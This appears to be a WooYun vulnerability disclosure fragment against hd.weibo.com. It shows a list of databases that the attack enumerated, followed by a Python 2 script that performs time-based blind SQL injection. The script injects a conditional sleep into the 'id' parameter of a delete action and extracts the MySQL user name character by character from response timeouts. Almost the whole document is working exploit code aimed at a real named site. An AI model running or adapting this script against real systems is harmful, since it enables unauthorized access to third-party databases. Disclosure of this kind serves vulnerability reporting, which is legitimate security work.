WooYun.org

available databases [3]:
[*] hdweibo
[*] information_schema
[*] test

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63',}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('hd.weibo.com', timeout=4)
            s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
            conn.request(method='GET',
                         url="/?action=delete&id=if(%s,sleep(4),0)" % s,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
        except:
            user += payload
            sys.stdout.write('\r[In progress] %s' % user)
            sys.stdout.flush()
            break
print '\n[Done]MySQL user is', user